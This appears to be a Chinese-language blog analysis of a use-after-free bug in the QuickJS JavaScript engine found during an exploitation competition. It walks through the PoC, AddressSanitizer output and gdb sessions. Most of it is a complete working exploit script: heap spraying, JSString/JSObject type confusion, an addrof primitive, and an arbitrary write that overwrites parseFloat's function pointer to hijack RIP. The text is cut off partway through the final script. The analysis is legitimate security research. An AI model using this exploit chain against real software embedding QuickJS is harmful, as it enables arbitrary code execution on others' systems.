从twitter上看到了一个关于quickjs漏洞挖掘与漏洞利用的一次竞赛:http://rce.party/cracksbykim-quickJS.nfo
一共看到6个poc,3个代码审计、2个fuzzing、1个凭感觉..........,最后两个完成了exp,控制了eip/rip。
我试着分析了其中一个漏洞,并记录了整个过程。
let spray = new Array(100); let a = [{hack:0},1,2,3,4]; let refcopy = [a[0]]; a.__defineSetter__(3,()=>{throw 1;}); try { a.sort(function(v){if (v == a[0]) return 0; return 1;}); } catch (e){} a[0] = 0; for (let i=0; i<1000; i++) spray[i] = [13371337]; console.log(refcopy[0]);
用AddressSanitizer编译quickjs源码,根据AddressSanitizer的结果来分析漏洞的触发过程。
AddressSanitizer 结果:
==2368==ERROR: AddressSanitizer: heap-use-after-free on address 0x6070000091d0 at pc 0x0000005220c5 bp 0x7fffffff8ab0 sp 0x7fffffff8aa8 READ of size 4 at 0x6070000091d0 thread T0 [New process 2372] [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". process 2372 is executing new program: /usr/lib/llvm-6.0/bin/llvm-symbolizer Error in re-setting breakpoint 1: No source file named quickjs.c. [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". #0 0x5220c4 in JS_DupValue /home/test/Desktop/quick/quickjs-2019-07-09-clang/./quickjs.h:579:21 #1 0x52ff47 in JS_GetPropertyValue /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:6909:20 #2 0x547cfe in JS_CallInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:15825:23 #3 0x522411 in JS_CallFree /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:16768:19 #4 0x696fae in JS_EvalFunctionInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29671:19 #5 0x691639 in __JS_EvalInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29802:19 #6 0x59e8ab in JS_EvalInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29820:12 #7 0x6e3f34 in JS_Eval /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29850:11 #8 0x517f0d in eval_buf /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:57:11 #9 0x5181cd in eval_file /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:79:11 #10 0x5176c9 in main /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:418:17 #11 0x7ffff6e24b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #12 0x41d909 in _start (/home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs+0x41d909) 0x6070000091d0 is located 0 bytes inside of 72-byte region [0x6070000091d0,0x607000009218) freed by thread T0 here: #0 0x4dd5f0 in __interceptor_free.localalias.0 (/home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs+0x4dd5f0) #1 0x66e865 in js_def_free /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:1312:5 #2 0x5212a5 in js_free_rt /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:1023:5 #3 0x5805fc in free_object2 /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:4828:9 #4 0x57fd6a in free_object /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:4836:9 #5 0x57fb7c in __JS_FreeValueRT /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:4871:9 #6 0x5a8d68 in __JS_FreeValue /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:4906:5 #7 0x51dbd8 in JS_FreeValue.66 /home/test/Desktop/quick/quickjs-2019-07-09-clang/./quickjs.h:560:13 #8 0x55df27 in set_value /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:1796:5 #9 0x562dc1 in JS_SetPropertyInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:7467:13 #10 0x56d26c in JS_SetPropertyValue /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:7779:15 #11 0x548901 in JS_CallInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:15888:23 #12 0x522411 in JS_CallFree /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:16768:19 #13 0x696fae in JS_EvalFunctionInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29671:19 #14 0x691639 in __JS_EvalInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29802:19 #15 0x59e8ab in JS_EvalInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29820:12 #16 0x6e3f34 in JS_Eval /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29850:11 #17 0x517f0d in eval_buf /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:57:11 #18 0x5181cd in eval_file /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:79:11 #19 0x5176c9 in main /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:418:17 #20 0x7ffff6e24b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 previously allocated by thread T0 here: #0 0x4dd7c0 in malloc (/home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs+0x4dd7c0) #1 0x66e6f5 in js_def_malloc /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:1296:11 #2 0x52e301 in js_malloc_rt /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:1018:12 #3 0x52e164 in js_malloc /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:1058:11 #4 0x59fc5c in JS_NewObjectFromShape /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:4162:9 #5 0x51cfd1 in JS_NewObjectProtoClass /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:4274:12 #6 0x556f23 in JS_NewObject /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:4347:12 #7 0x538b02 in JS_CallInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:14591:21 #8 0x522411 in JS_CallFree /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:16768:19 #9 0x696fae in JS_EvalFunctionInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29671:19 #10 0x691639 in __JS_EvalInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29802:19 #11 0x59e8ab in JS_EvalInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29820:12 #12 0x6e3f34 in JS_Eval /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29850:11 #13 0x517f0d in eval_buf /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:57:11 #14 0x5181cd in eval_file /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:79:11 #15 0x5176c9 in main /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:418:17 #16 0x7ffff6e24b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
有了AddressSanitizer的帮助我们可以很清楚看到内存是在哪分配的、在哪释放的、在哪又重新引用了。
使用内存
577 if (JS_VALUE_HAS_REF_COUNT(v)) { 578 JSRefCountHeader *p = JS_VALUE_GET_PTR(v); 579 p->ref_count++; 580 }
释放内存
1796 JS_FreeValue(ctx, old_val);
分配内存
14590 CASE(OP_object): 14591 *sp++ = JS_NewObject(ctx);
有了上面的信息,我试着逐行运行poc文件,尝试去理解quickjs是怎么解析js语法的。
let a = [1,2,3] //创建数组
14855 CASE(OP_array_from): 14856 { 14857 int i, ret; 14858 14859 call_argc = get_u16(pc); 14860 pc += 2; 14861 ret_val = JS_NewArray(ctx); 14862 if (unlikely(JS_IsException(ret_val))) 14863 goto exception; 14864 call_argv = sp - call_argc; 14865 for(i = 0; i < call_argc; i++) { 14866 ret = JS_DefinePropertyValue(ctx, ret_val, __JS_AtomFromUInt32(i), call_argv[i], 14867 JS_PROP_C_W_E | JS_PROP_THROW); 14868 call_argv[i] = JS_UNDEFINED; 14869 if (ret < 0) { 14870 JS_FreeValue(ctx, ret_val); 14871 goto exception; 14872 } 14873 } 14874 sp -= call_argc; 14875 *sp++ = ret_val; 14876 } 14877 BREAK;
gdb 调试结果
gdb-peda$ p call_argc $2 = 0x3 gdb-peda$ p call_argv $3 = (JSValue *) 0x7fffffff8fd0 gdb-peda$ x /6xg 0x7fffffff8fd0 0x7fffffff8fd0: 0x0000000000000001 0x0000000000000000 0x7fffffff8fe0: 0x0000000000000002 0x0000000000000000 0x7fffffff8ff0: 0x0000000000000003 0x0000000000000000
let a = [{aa:1},0,1,2,3]; //创建object对象,然后创建数组,object引用次数为1
第一步 {aa:1}
14590 CASE(OP_object): 14591 *sp++ = JS_NewObject(ctx); 14592 if (unlikely(JS_IsException(sp[-1]))) 14593 goto exception; 14594 BREAK;
第二步创建数组
gdb-peda$ p call_argc $1 = 0x5 gdb-peda$ p call_argv $2 = (JSValue *) 0x7fffffff8fb0 gdb-peda$ x /10xg 0x7fffffff8fb0 0x7fffffff8fb0: 0x00006070000091d0 0xffffffffffffffff 0x7fffffff8fc0: 0x0000000000000000 0x0000000000000000 0x7fffffff8fd0: 0x0000000000000001 0x0000000000000000 0x7fffffff8fe0: 0x0000000000000002 0x0000000000000000 0x7fffffff8ff0: 0x0000000000000003 0x0000000000000000 //0x00006070000091d0 object 对象地址 //引用计数 gdb-peda$ p *(JSRefCountHeader*)0x00006070000091d0 $3 = { ref_count = 0x1 } //赋值的时候引用次数加1 575 static inline JSValue JS_DupValue(JSContext *ctx, JSValueConst v) 576 { 577 if (JS_VALUE_HAS_REF_COUNT(v)) { 578 JSRefCountHeader *p = JS_VALUE_GET_PTR(v); 579 p->ref_count++; 580 } 581 return (JSValue)v; 582 } //释放掉之前的 减1 555 static inline void JS_FreeValue(JSContext *ctx, JSValue v) 556 { 557 if (JS_VALUE_HAS_REF_COUNT(v)) { 558 JSRefCountHeader *p = JS_VALUE_GET_PTR(v); 559 if (--p->ref_count <= 0) { 560 __JS_FreeValue(ctx, v); 561 } 562 } 563 }
let a = [{aa:1},0,1,2,3];
let refcopy = [a[0]]; //创建另一个数组,object引用次数为2
//创建另一个数组 gdb调试信息
gdb-peda$ p call_argc $10 = 0x1 gdb-peda$ p call_argv $9 = (JSValue *) 0x7fffffff8fb0 gdb-peda$ x /4xg 0x7fffffff8fb0 0x7fffffff8fb0: 0x00006070000091d0 0xffffffffffffffff 0x7fffffff8fc0: 0x0000000000000000 0x0000000000000000 p *(JSRefCountHeader*)0x00006070000091d0 $16 = { ref_count = 0x2 }
let a = [{aa:1},0,1,2,3];
let refcopy = [a[0]];
a.defineSetter(3,()=>{throw 1;}); //设置数组属性值的方法,箭头函数,抛出异常
14837 CASE(OP_tail_call_method): 14838 { 14839 call_argc = get_u16(pc); 14840 pc += 2; 14841 call_argv = sp - call_argc; 14842 sf->cur_pc = pc; 14843 ret_val = JS_CallInternal(ctx, call_argv[-1], call_argv[-2], 14844 JS_UNDEFINED, call_argc, call_argv, 0); 14845 if (unlikely(JS_IsException(ret_val))) 14846 goto exception; 14847 if (opcode == OP_tail_call_method) 14848 goto done; 14849 for(i = -2; i < call_argc; i++) 14850 JS_FreeValue(ctx, call_argv[i]); 14851 sp -= call_argc + 2; 14852 *sp++ = ret_val; 14853 } 14854 BREAK; 32081 /* magic = 1 if called as __defineSetter__ */ 32082 static JSValue js_object___defineGetter__(JSContext *ctx, JSValueConst this_val, 32083 int argc, JSValueConst *argv, int magic) 32084 { 32085 JSValue obj; 32086 JSValueConst prop, value, get, set; 32087 int ret, flags; 32088 JSAtom atom; 32089 32090 prop = argv[0]; 32091 value = argv[1]; 32092 32093 obj = JS_ToObject(ctx, this_val); 32094 if (JS_IsException(obj)) 32095 return JS_EXCEPTION; .......... .......... } p *(JSRefCountHeader*)0x00006070000091d0 $3 = { ref_count = 0x2 }
let a = [{aa:1},0,1,2,3];
let refcopy = [a[0]];
a.defineSetter(3,()=>{throw 1;});
try {
a.sort(function(v){return 0;}); //调用js_array_sort函数,调用之前设置的函数,抛出异常。
} catch (e){
//处理异常的时候,object引用次数减1
}
//调用js_array_sort
34645 static JSValue js_array_sort(JSContext *ctx, JSValueConst this_val, 34646 int argc, JSValueConst *argv) 34647 { 34648 struct array_sort_context asc = { ctx, 0, 0, argv[0] }; 34649 JSValue obj = JS_UNDEFINED; 34650 ValueSlot *array = NULL; 34651 size_t array_size = 0, pos = 0, n = 0; 34652 int64_t i, len, undefined_count = 0; 34653 int present; 34654 34655 if (!JS_IsUndefined(asc.method)) { 34656 if (check_function(ctx, asc.method)) 34657 goto exception; 34658 asc.has_method = 1; 34659 } 34660 obj = JS_ToObject(ctx, this_val); 34661 if (js_get_length64(ctx, &len, obj)) 34662 goto exception; 34719 exception: 34720 for (n = 0; n < pos; n++) { 34721 JS_FreeValue(ctx, array[n].val); 34722 if (array[n].str) 34723 JS_FreeValue(ctx, JS_MKPTR(JS_TAG_STRING, array[n].str)); 34724 } 34725 js_free(ctx, array); #0 js_array_sort (ctx=0x7fffffff49a0, this_val=<error reading variable: Cannot access memory at address 0x40>, argc=0x0, argv=0x7fffffff4ab0) at quickjs.c:34647 #1 0x0000000000553606 in js_call_c_function (ctx=0x614000000040, func_obj=..., this_obj=..., argc=0x1, argv=0x7fffffff8fd0, flags=0x0) at quickjs.c:14236 #2 0x000000000053642d in JS_CallInternal (ctx=0x614000000040, func_obj=..., this_obj=..., new_target=..., argc=0x1, argv=0x7fffffff8fd0, flags=0x0) at quickjs.c:14430 #3 0x000000000053ba6a in JS_CallInternal (ctx=0x614000000040, func_obj=..., this_obj=..., new_target=..., argc=0x0, argv=0x0, flags=0x2) at quickjs.c:14843 #4 0x0000000000522412 in JS_CallFree (ctx=0x614000000040, func_obj=..., this_obj=..., argc=0x0, argv=0x0) at quickjs.c:16768 exception 的时候object引用次数减1 此时0x00006070000091d0 gdb-peda$ p *(JSRefCountHeader*)0x00006070000091d0 $56 = { ref_count = 0x1 }
let a = [{hack:0},1,2,3,4];
a[0] = 0; //重新为a[0]赋值,之前a[0]的值是一个object对象,判断引用次数,如果为0,则释放该对象。
创建数组 第二步数组赋值 15884 CASE(OP_put_array_el): 15885 { 15886 int ret; 15887 15888 ret = JS_SetPropertyValue(ctx, sp[-3], sp[-2], sp[-1], JS_PROP_THROW_STRICT); 15889 JS_FreeValue(ctx, sp[-3]); 15890 sp -= 3; 15891 if (unlikely(ret < 0)) 15892 goto exception; 15893 } 15894 BREAK; 设置新值 1791 static inline void set_value(JSContext *ctx, JSValue *pval, JSValue new_val) 1792 { 1793 JSValue old_val; 1794 old_val = *pval; 1795 *pval = new_val; 1796 JS_FreeValue(ctx, old_val); 1797 } 之前的值判断引用计数 555 static inline void JS_FreeValue(JSContext *ctx, JSValue v) 556 { 557 if (JS_VALUE_HAS_REF_COUNT(v)) { 558 JSRefCountHeader *p = JS_VALUE_GET_PTR(v); 559 if (--p->ref_count <= 0) { 560 __JS_FreeValue(ctx, v); 561 } 562 } 563 } gdb-peda$ p *(JSRefCountHeader*)0x00006070000091d0 $56 = { ref_count = 0x0 }
let a = [{aa:1},0,1,2,3];
let refcopy = [a[0]];
a.defineSetter(3,()=>{throw 1;});
try {
a.sort(function(v){return 0;});
} catch (e){ }
a[0] = 1; //同理上面
refcopy[0]; //最后heap use after free
while(1);
//取数组值 15821 CASE(OP_get_array_el): 15822 { 15823 JSValue val; 15824 15825 val = JS_GetPropertyValue(ctx, sp[-2], sp[-1]); 15826 JS_FreeValue(ctx, sp[-2]); 15827 sp[-2] = val; 15828 sp--; 15829 if (unlikely(JS_IsException(val))) 15830 goto exception; 15831 } 15832 BREAK; //使用内存 575 static inline JSValue JS_DupValue(JSContext *ctx, JSValueConst v) 576 { 577 if (JS_VALUE_HAS_REF_COUNT(v)) { 578 JSRefCountHeader *p = JS_VALUE_GET_PTR(v); 579 p->ref_count++; 580 } 581 return (JSValue)v; 582 }
利用exp见文章末尾。
漏洞利用最终实现过程,利用free掉的内存造成类型混淆,利用类型混淆泄漏任意地址,得到parseFloat函数地址,利用任意地址写任意内容,覆盖parseFloat函数地址跳到我们的可控地址。
RAX 0x46f680 (js_parseFloat) ◂— push rbp RIP 0x416e2b (js_call_c_function+603) ◂— call rax ─────────────[ DISASM ]───────────── ► 0x416e2b <js_call_c_function+603> call rax <0x46f680> ─────────────[ SOURCE (CODE) ]───────── In file: /home/test/Desktop/quick/quickjs-2019-07-09xx/quickjs.c 14231 } 14232 } 14233 /* here this_obj is new_target */ 14234 /* fall thru */ 14235 case JS_CFUNC_generic: ► 14236 ret_val = func.generic(ctx, this_obj, argc, arg_buf); 14237 break;
JSObject
667 struct JSObject { 668 JSRefCountHeader header; /* must come first, 32-bit */ 669 JSGCHeader gc_header; /* must come after JSRefCountHeader, 8-bit */ 670 uint8_t extensible : 1; 671 uint8_t free_mark : 1; /* only used when freeing objects with cycles */ 672 uint8_t is_exotic : 1; /* TRUE if object has exotic property handlers */ 673 uint8_t fast_array : 1; /* TRUE if u.array is used for get/put */ 674 uint8_t is_constructor : 1; /* TRUE if object is a constructor function */ 675 uint8_t is_uncatchable_error : 1; /* if TRUE, error is not catchable */ 676 uint8_t is_class : 1; /* TRUE if object is a class constructor */ 677 uint8_t tmp_mark : 1; /* used in JS_WriteObjectRec() */ 678 uint16_t class_id; /* see JS_CLASS_x */ 679 /* byte offsets: 8/8 */ 680 struct list_head link; /* object list */ 681 /* byte offsets: 16/24 */ 682 JSShape *shape; /* prototype and property names + flag */ 683 JSProperty *prop; /* array of properties */ 684 /* byte offsets: 24/40 */ 685 struct JSMapRecord *first_weak_ref; /* XXX: use a bit and an external hash table? */ 686 /* byte offsets: 28/48 */ 687 union { .... .... ... }
JSString
384 struct JSString { 385 JSRefCountHeader header; /* must come first, 32-bit */ 386 uint32_t len : 31; 387 uint8_t is_wide_char : 1; /* 0 = 8 bits, 1 = 16 bits characters */ 388 uint32_t hash : 30; 389 uint8_t atom_type : 2; /* != 0 if atom, JS_ATOM_TYPE_x */ 390 uint32_t hash_next; /* atom_index for JS_ATOM_TYPE_SYMBOL */ 391 #ifdef DUMP_LEAKS 392 struct list_head link; /* string list */ 393 #endif 394 union { 395 uint8_t str8[0]; /* 8 bit strings will get an extra null terminator */ 396 uint16_t str16[0]; 397 } u; 398 };
JSArrayBuffer
516 typedef struct JSArrayBuffer { 517 int byte_length; /* 0 if detached */ 518 uint8_t detached; 519 uint8_t shared; /* if shared, the array buffer cannot be detached */ 520 uint8_t *data; /* NULL if detached */ 521 struct list_head array_list; 522 void *opaque; 523 JSFreeArrayBufferDataFunc *free_func; 524 } JSArrayBuffer;
//触发漏洞,和poc一样。
a = [
[0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
....
.... //内存要足够大
], 1, 2, 3, 4
];
refcopy = a[0];
a.__defineSetter__(3, function () {
throw 1;
});
try {
a.sort(function (v) {
return 0;
});
} catch (e) {}
//根据引用计数,释放掉之前的a[0]内存。此时内存类型为JSObject。
a[0] = 0x61616161;
//释放掉a[0]之后,重新分配JSString类型的内存。
refill_0 = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.slice(1);
//释放刚刚申请的JSString类型的内存。
refcopy = 0;
//申请一块新的内存,类型大小和a[0]一致,此时refill_1和refill_0指向同一块内存。
refill_1 = [0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, //和a[0]一样
...
...
];
//通过refill_0访问该内存时,该内存类型为JSString。
//通过refill_1访问该内存时,该内存类型为JSObject。
//造成类型混淆
创建第二个数组时,对应的gdb信息
//此时数组0保存第一个数组的地址(JSObject),JSObject+56 偏移处保存着指向value的地址。
//重新分配JSString类型的内存。
(由于ASLR,地址变了,其实是上图中那个地址一致)
for (var i = 0; i < 0x38; i += 4) {
var ptr = 0;
var val = '';
ptr = refill_0.slice(i, i + 4);
for (var j = 3; j >= 0; j--) {
var char = ptr.charCodeAt(j).toString(16);
if (char.length == 1)
char = '0' + char;
val += char;
}
val = parseInt(val, 16);
jsobj_leak_data[i / 4] = val;
}
var shape = toint64(jsobj_leak_data[(24 - 0x10) / 4], jsobj_leak_data[(28 - 0x10) / 4]);
var prop = toint64(jsobj_leak_data[(32 - 0x10) / 4], jsobj_leak_data[(36 - 0x10) / 4]);
var values = toint64(jsobj_leak_data[(56 - 0x10) / 4], jsobj_leak_data[(60 - 0x10) / 4]);
print("shape @ " + shape.toString(16));
print("prop @ " + prop.toString(16));
print("values @ " + values.toString(16));
refill_1 = 0;
refill_1 = [0x1337, 0x1337];
refill_0 = 0;
refill_0 = [0x71717171];
refill_1 = 0;
// Need to free other JSObject size things as well to cause the
// data to overlap and not the JSObject of the ArrayBuffer
x = 0;
y = 0;
refill_1 = new Uint32Array(0x48 / 4);
refill_1.fill(0x41414141);
此时JsArrayBuffer的data地址刚好是之前那块JSObject地址,接下来通过refill_1设置JSObject的内存。
(由于ASLR,地址变了,其实是上图中那个地址一致)
jsobj_leak_data[(56 - 0x10) / 4] += 0x2000;
overlap_addr = values + 0x2000;
for (var i = 4; i < 0x48 / 4; i++) {
refill_1[i] = jsobj_leak_data[i - 4];
}
refill_1[0] = 0x51414141;
refill_1[1] = 0x00020d00;
refill_1[2] = 0x41414141;
refill_1[3] = 0x41414141;
print("new values @ " + overlap_addr.toString(16));
此时gdb中,JSObject values的值,指向了堆喷中的地址,+56。
(由于ASLR,地址变了,其实是上图中那个地址一致)
spray = [];
jsobj_leak_data = new Uint32Array(0x38);
jsobj_leak_data.fill(0);
// .slice will allocate a new JSString
x = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.slice(1);
y = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.slice(1);
master = new Uint32Array(0x40);
master.fill(0x31313131);
slave = new Uint32Array(0x40);
slave.fill(0x61616161);
print("starting exploit");
print("spraying buffers");
for (var i = 0; i < 0x400; i++) {
var x = new Uint32Array(0x1000 / 4);
x.fill(0x51515151);
spray.push(x);
}
print("creating holes");
for (var i = 0; i < spray.length; i += 0x4) {
spray[i] = 0;
}
refill_0[0] = 0x1; //modify spray value
var overlap_buf;
var ovelap_index;
for (var i = 0; i < spray.length; i++) {
for (var j = 0; j < (0x1000 / 4); j++) {
if (spray[i] && spray[i][j] == 0x1) {
overlap_buf = spray[i];
overlap_index = j;
print("overlap found");
print("spray index = " + i.toString(16));
print("index into buffer = " + j.toString(16));
}
}
}
此时gdb中,通过JSObject values修改了spray数组。
function addrof(obj) {
refill_0[0] = obj;
var ret = toint64(overlap_buf[overlap_index], overlap_buf[overlap_index + 1]);
refill_0[0] = 0;
return ret;
}
print("crafting master and slave typed arrays");
master_addr = addrof(master);
slave_addr = addrof(slave);
parseFloat_addr = addrof(parseFloat);
print("master addr = " + master_addr.toString(16));
print("slave addr = " + slave_addr.toString(16));
print("parseFloat addr = " + parseFloat_addr.toString(16));
此时gdb中,此时spray数组值为master addr,通过spray把地址读出来造成任意地址泄漏。
// Point our crafted JSObject values to the address of master->values
refill_1[(56) / 4] = (master_addr & 0xffffffff) + 56;
refill_0[0] = slave;
此时gdb中,master->values ==》 slave。
function write64(addr, val) {
master[56 / 4] = (addr & 0xffffffff) >>> 0;
master[60 / 4] = addr / 0x100000000;
slave[0] = val & 0xffffffff;
slave[1] = val / 0x100000000;
}
print("jumping to 0x41414141");
write64(parseFloat_addr + 0x30, 0x414141414141);
parseFloat();
任意地址写
控制rip地址
function toint64(low, high) {
return low + high * 0x100000000;
}
function fromint64(val) {
return [val & 0xffffffff, val / 0x100000000];
}
// Global variables we are using
var a;
var refcopy;
var refill_0;
var refill_1;
var spray;
var jsobj_leak_data;
var x;
var y;
var master;
var slave;
var master_addr;
var slave_addr;
var test;
var test_addr;
var fake_test;
var test_values;
var test_values_read;
spray = [];
jsobj_leak_data = new Uint32Array(0x38);
jsobj_leak_data.fill(0);
// .slice will allocate a new JSString
x = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.slice(1);
y = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.slice(1);
master = new Uint32Array(0x40);
master.fill(0x31313131);
slave = new Uint32Array(0x40);
slave.fill(0x61616161);
print("starting exploit");
print("spraying buffers");
for (var i = 0; i < 0x400; i++) {
var x = new Uint32Array(0x1000 / 4);
x.fill(0x51515151);
spray.push(x);
}
print("creating holes");
for (var i = 0; i < spray.length; i += 0x4) {
spray[i] = 0;
}
print("placing target");
a = [
[0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
], 1, 2, 3, 4
];
print("grabbing reference to target");
refcopy = a[0];
print("triggering bug");
a.__defineSetter__(3, function () {
throw 1;
});
try {
a.sort(function (v) {
return 0;
});
} catch (e) {}
print("freeing target twice and overlaping JSString and JSObject");
a[0] = 0x61616161;
refill_0 = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.slice(1);
refcopy = 0;
refill_1 = [0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
